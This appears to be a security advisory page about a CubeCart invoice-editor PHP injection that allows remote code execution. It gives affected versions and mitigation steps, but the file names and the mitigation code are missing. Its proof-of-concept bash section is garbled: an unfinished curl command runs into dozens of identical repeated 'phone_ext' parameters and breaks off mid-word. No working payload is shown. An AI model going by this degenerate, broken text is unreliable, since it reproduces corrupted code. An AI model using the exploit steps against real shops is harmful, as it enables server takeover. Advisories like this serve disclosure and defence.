CubeCart Pre-Auth RCE: Unauthenticated Code Execution via Invoice Editor PHP Injection

Vulnerability Overview In CubeCart versions 6.6.x through 6.7.2, administrators with editing privileges can save raw PHP code containing tags to the Invoice Editor. When any user clicks the Print button on an order, the rendered template is written to . The file allows all users to access files matching , enabling unauthenticated visitors to execute these files. Affected Versions Affected versions: 6.6.x to 6.7.2 Fixed version: 6.7.3 Mitigation Strategies 1. Strip PHP opening tags before writing the print file: 2. Defense in depth - Rename the file and tighten : Proof of Concept (POC) Code ```bash 1) Create an order via the admin UI TOKEN=$(curl -sb COOKIE "$HOST/admin.php?g=orders&action=add" \ curl -sb COOKIE \ --data-urlencode "customer[first_name]=" --data-urlencode "customer[last_name]=" \ --data-urlencode "customer[email]=test@test.com" --data-urlencode "customer[phone]=1234567890" \ --data-urlencode "customer[address1]=123 Main St" --data-urlencode "customer[address2]=Apt 4" \ --data-urlencode "customer[city]=Anytown" --data-urlencode "customer[state]=CA" \ --data-urlencode "customer[country]=US" --data-urlencode "customer[postcode]=12345" \ --data-urlencode "customer[phone]=1234567890" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --data-urlencode "customer[phone_ext]=123" \ --data-urlencode "customer[phone_ext]=123" --d

Goal Reached Thanks to every supporter — we hit 100%!

CubeCart Pre-Auth RCE: Unauthenticated Code Execution via Invoice Editor PHP Injection

More from this source